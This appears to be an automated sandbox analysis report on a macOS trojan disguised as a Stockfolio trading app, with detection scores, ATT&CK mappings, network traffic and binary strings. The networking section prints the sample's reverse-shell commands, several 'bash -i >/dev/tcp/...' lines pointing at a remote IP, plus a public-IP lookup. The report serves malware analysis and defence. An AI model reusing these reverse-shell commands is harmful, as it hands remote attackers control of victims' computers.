Loading ...

Play interactive tourEdit tour

Analysis Report Trial_Stockfoli_1.zip

Overview

General Information

Joe Sandbox Version:27.0.0 Red Achat
Analysis ID:85605
Start date:25.09.2019
Start time:09:46:20
Joe Sandbox Product:Cloud
Overall analysis duration:0h 16m 54s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:Trial_Stockfoli_1.zip
Cookbook file name:defaultmacfilecookbook.jbs
Analysis system description:Mac Mini, High Sierra 10.13.2 (MS Office 16.9, Java 1.8.0_25)
Detection:MAL
Classification:mal88.troj.spyw.evad.macZIP@0/1205@25/0
Warnings:
Show All
  • Excluded IPs from analysis (whitelisted): 151.139.128.14, 2.21.242.197, 2.21.242.187, 172.217.23.110
  • Excluded domains from analysis (whitelisted): cs2-wac.apr-8315.edgecastdns.net, ocsp.usertrust.com, www-google-analytics.l.google.com, isrg.trustid.ocsp.identrust.com, a279.dscq.akamai.net, isrg.trustid.ocsp.identrust.com.edgesuite.net, www.google-analytics.com
  • Report size exceeded maximum capacity and may have missing behavior information.
  • Report size exceeded maximum capacity and may have missing network information.

Detection

StrategyScoreRangeReportingWhitelistedDetection
Threshold880 - 100Report FP / FNfalsemalicious

Key Signatures

Detected macOS GMERA trojanShow sources
Yara detected Gmera StealerShow sources

Classification

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and Control
Valid AccountsScripting111Hidden Files and Directories1Launch Daemon12Hidden Files and Directories1Credential DumpingSystem Network Configuration Discovery1Remote File Copy1Data from Local SystemExfiltration Over Alternative Protocol1Commonly Used Port1
Replication Through Removable MediaService ExecutionLaunch Agent13Accessibility FeaturesScripting111Network SniffingSystem Information Discovery51Remote ServicesData from Removable MediaData Encrypted1Uncommonly Used Port1
Drive-by CompromiseWindows Management InstrumentationLaunch Daemon12Path InterceptionFile Deletion1Input CaptureQuery RegistryWindows Remote ManagementData from Network Shared DriveAutomated ExfiltrationStandard Cryptographic Protocol1
Exploit Public-Facing ApplicationScheduled TaskSystem FirmwareDLL Search Order HijackingCode Signing12Credentials in FilesSystem Network Configuration DiscoveryLogon ScriptsInput CaptureData EncryptedRemote Access Tools2
Spearphishing LinkCommand-Line InterfaceShortcut ModificationFile System Permissions WeaknessMasqueradingAccount ManipulationRemote System DiscoveryShared WebrootData StagedScheduled TransferRemote File Copy1
Spearphishing AttachmentGraphical User InterfaceModify Existing ServiceNew ServiceDLL Search Order HijackingBrute ForceSystem Owner/User DiscoveryThird-party SoftwareScreen CaptureData Transfer Size LimitsStandard Non-Application Layer Protocol3
Spearphishing via ServiceScriptingPath InterceptionScheduled TaskSoftware PackingTwo-Factor Authentication InterceptionNetwork SniffingPass the HashEmail CollectionExfiltration Over Command and Control ChannelStandard Application Layer Protocol13

Signature Overview

Click to jump to signature section


Cryptography:

barindex
Writes files containing public keys to diskShow sources
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 707)File created 'PUBLIC KEY' pattern: /Applications/Stockfolio.app/Contents/Resources/dsa_pub.pemJump to dropped file

Networking:

barindex
Connects to many ports of the same IP (likely port scanning)Show sources
Source: global trafficTCP traffic: 193.37.212.176 ports 25734,25733,25736,25735,2,3,5,7
May check the online IP address of the machineShow sources
Source: unknownDNS query: name: ipecho.net
Uses obscure shell network redirections for sending/receiving network dataShow sources
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/MacOS/Stockfoli (PID: 702)Command with /dev/tcp pseudo-device usage: /bin/bash -c screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212.176/25734 0>&1'Jump to behavior
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/MacOS/Stockfoli (PID: 702)Command with /dev/tcp pseudo-device usage: /bin/bash -c bash -i >/dev/tcp/193.37.212.176/25735 0>&1Jump to behavior
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/MacOS/Stockfoli (PID: 702)Command with /dev/tcp pseudo-device usage: /bin/bash -c screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212.176/25736 0>&1'Jump to behavior
Source: /bin/sh (PID: 741)Command with /dev/tcp pseudo-device usage: screen -d -m bash -c bash -i >/dev/tcp/193.37.212.176/25733 0>&1Jump to behavior
Source: /usr/bin/screen (PID: 743)Command with /dev/tcp pseudo-device usage: login -pflq henry /bin/bash -c bash -i >/dev/tcp/193.37.212.176/25733 0>&1Jump to behavior
Source: /usr/bin/login (PID: 744)Command with /dev/tcp pseudo-device usage: bash -c bash -i >/dev/tcp/193.37.212.176/25733 0>&1Jump to behavior
Source: /bin/bash (PID: 710)Command with /dev/tcp pseudo-device usage: screen -d -m bash -c bash -i >/dev/tcp/193.37.212.176/25734 0>&1Jump to behavior
Source: /usr/bin/screen (PID: 720)Command with /dev/tcp pseudo-device usage: login -pflq henry /bin/bash -c bash -i >/dev/tcp/193.37.212.176/25734 0>&1Jump to behavior
Source: /usr/bin/login (PID: 721)Command with /dev/tcp pseudo-device usage: bash -c bash -i >/dev/tcp/193.37.212.176/25734 0>&1Jump to behavior
Source: /bin/bash (PID: 766)Command with /dev/tcp pseudo-device usage: screen -d -m bash -c bash -i >/dev/tcp/193.37.212.176/25736 0>&1Jump to behavior
Source: /usr/bin/screen (PID: 768)Command with /dev/tcp pseudo-device usage: login -pflq henry /bin/bash -c bash -i >/dev/tcp/193.37.212.176/25736 0>&1Jump to behavior
Source: /usr/bin/login (PID: 769)Command with /dev/tcp pseudo-device usage: bash -c bash -i >/dev/tcp/193.37.212.176/25736 0>&1Jump to behavior
Detected TCP or UDP traffic on non-standard portsShow sources
Source: global trafficTCP traffic: 192.168.0.50:49430 -> 193.37.212.176:25735
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 17.253.55.211
Source: unknownTCP traffic detected without corresponding DNS query: 2.20.214.243
Source: unknownTCP traffic detected without corresponding DNS query: 2.20.214.243
Source: unknownTCP traffic detected without corresponding DNS query: 17.253.55.211
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Source: unknownTCP traffic detected without corresponding DNS query: 193.37.212.176
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /plain HTTP/1.1Host: ipecho.netUser-Agent: curl/7.54.0Accept: */*
Source: global trafficHTTP traffic detected: GET /images/default_avatar_thumb.jpg HTTP/1.1Host: avatars.stocktwits.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Cookie: __cfduid=dd1ee9fc1ffd90eb547b3bfa89156320c1569397645User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global trafficHTTP traffic detected: GET /media/EFSyWKzXkAA_Pcp.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1171115092458369024/r9L4_Emp_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1168252241855123457/ItGCp4TN_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1035441355026325504/XtWUiD0A_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/834878192498339841/m11unSMv_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/656429386661560320/5x91TVQ1_normal.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/712271031986167808/28m0atkO_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1174867397326454784/-Cj3hcgF_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/980765720161275904/vRCTdsUt_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1139336040441950210/91skvf8V_normal.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1150732513851166720/0wPBMODC_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1166903465211244544/9JtP2tZD_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /media/EFSjUXqW4AEJoej.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1145051409190023168/2DofK4ye_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1172019765746880512/brjLLZVY_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1127823705994944512/5lPZ_N00_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1017587175834210304/LzzQWIFe_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1037996879278223360/7s7NmOTd_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/753246714799063041/B4R5QCcm_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/2653218661/d48dfa25d82dd02b809384cb57a74bb0_normal.jpeg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/773049871519580160/8fvfjObD_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/878095909086781440/cKxvd4G3_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1037996879278223360/7s7NmOTd_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1029216402362720256/bx4ViDzT_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/456927869206163456/NfAYrGAy_normal.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1010388107768758273/ywebLogk_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /media/EFQirK4XUAI8PKR.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/896488911324696576/YF-8DDmp_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1173178239977758722/Q7Ac-1KF_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1136370724505915392/5LOhzxJQ_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1058620449590980608/OMY24hj0_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /media/EFSOq9_X4AAK4yQ.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/972367018946191361/ywzowTW8_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1109889787568123904/y7w5csa2_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1173425888785920000/wOBc6Y85_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/456999161263816704/yfi6iDbR_normal.jpeg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1075880059691565056/5_gCVBFP_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1131412530344091648/VfwnnOz0_normal.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1170332971703984129/ZjdTTvZT_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/458834671900434433/sSAJmLs9_normal.jpeg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Found strings which match to known social media urlsShow sources
Source: .BC.T_BFkcWG.372.drString found in binary or memory: ><%@>%@</%@><INVTRAN></INVTRAN>textSocketRocket_SSLPinnedCertificatesSR_SSLPinnedCertificatesT@"NSArray",R,C,NT@"NSArray",C,NkCFStreamSocketSecurityLevelTLSv1_2certificateChainValidationEnabledTc,R,N,V_certificateChainValidationEnabledFailed to generate random bytes with OSStatus: %d258EAFA5-E914-47DA-95CA-C5AB0DC85B11SRWebSocketErrorDomainHTTPResponseStatusCode-[SRWebSocket initWithURLRequest:protocols:securityPolicy:]/Users/charles/Dropbox/DevelopmentProjects/Stocks/Stocks/ext/SocketRocket/SocketRocket/SRWebSocket.mrequest.URL-[SRWebSocket assertOnWorkQueue]dispatch_get_specific((__bridge void *)self) == (__bridge void *)_workQueuereadyState-[SRWebSocket open]_urlTimed out connecting to server.v32@?0@"NSError"8@"NSInputStream"16@"NSOutputStream"24Request failed with response code %dReceived bad response code from server: %d.Invalid Sec-WebSocket-Accept response.Server specified Sec-WebSocket-Protocol that wasn't requested.v18@?0@"<SRWebSocketDelegate>"8{SRDelegateAvailableMethods=b1b1b1b1b1b1b1b1b1}16Finishe
Source: .BC.T_PcloDv.372.drString found in binary or memory: From Yahoo Finance equals www.yahoo.com (Yahoo)
Source: .BC.T_PcloDv.372.drString found in binary or memory: From Yahoo Finance_ equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: YAHOO.Finance.SymbolSuggest.ssCallback( equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: Yahoo Finance (imported from CSV) equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: com.facebook.SocketRocket.NetworkThread equals www.facebook.com (Facebook)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: com.facebook.socketrocket.delegate.access equals www.facebook.com (Facebook)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: com.facebook.socketrocket.proxyconnect.write equals www.facebook.com (Facebook)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: finance.query.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: http://autoc.finance.yahoo.com/autoc?query={query}&region=US&lang=en&callback=YAHOO.Finance.SymbolSuggest.ssCallback equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://api.twitter.com/1.1/search/tweets.json?q=%@&count=%d equals www.twitter.com (Twitter)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://api.twitter.com/oauth2/token equals www.twitter.com (Twitter)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/autocomplete?format=json&lang=en-US&region=US&ticker= equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/multiquote?crossProduct=optimized&format=json&lang=en-US&region=US&tickers= equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/quotedetail?crossProduct=optimized&format=json&lang=en-US&region=US&tickers= equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://feeds.finance.yahoo.com/rss/2.0/headline?s=%@ equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://finance.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://finance.yahoo.com/__nebula_embed/ecd/%@?lang=en-US&region=US equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://finance.yahoo.com/__streamer-worker-0.3.69.js equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://finance.yahoo.com/chart/%@ equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://query1.finance.yahoo.com/v8/finance/chart/%@?period2=%llu&period1=%llu&comparisons=undefined&includePrePost=false&interval=1d&events=%@&indicators=%@&corsDomain=finance.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://query1.finance.yahoo.com/v8/finance/chart/%@?range=%@&comparisons=undefined&includePrePost=false&interval=%@&events=%@&indicators=%@&corsDomain=finance.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://streamerapi.finance.yahoo.com/streamer/1.0?s=%@&k=%@&callback=parent.yfs_u1f&mktmcb=parent.yfs_mktmcb&gencallback=parent.yfs_gencb&mu=1&lang=en-US&region=US&localize=0 equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: mobile-query.finance.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: twitter equals www.twitter.com (Twitter)
Source: .BC.T_BFkcWG.372.drString found in binary or memory: yahoo equals www.yahoo.com (Yahoo)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: owpqkszz.info
Urls found in memory or binary dataShow sources
Source: .BC.T_BFkcWG.372.drString found in binary or memory: http://autoc.finance.yahoo.com/autoc?query=
Source: .BC.T_BFkcWG.372.drString found in binary or memory: http://crl.apple.com/root.crl0
Source: .BC.T_BFkcWG.372.drString found in binary or memory: http://crl.apple.com/timestamp.crl0
Source: .BC.T_BFkcWG.372.drString found in binary or memory: http://feeds.feedburner.com/Coindesk?format=xml
Source: .BC.T_BFkcWG.372.drString found in binary or memory: http://ocsp.apple.com/ocsp-devid010
Source: .BC.T_bIS55o.372.dr, appcast.xml.rss.336.drString found in binary or memory: http://www.andymatuschak.org/xml-namespaces/sparkle
Source: .BC.T_bIS55o.372.drString found in binary or memory: http://www.andymatuschak.org/xml-namespaces/sparkle-
Source: .BC.T_1sUFiJ.372.drString found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
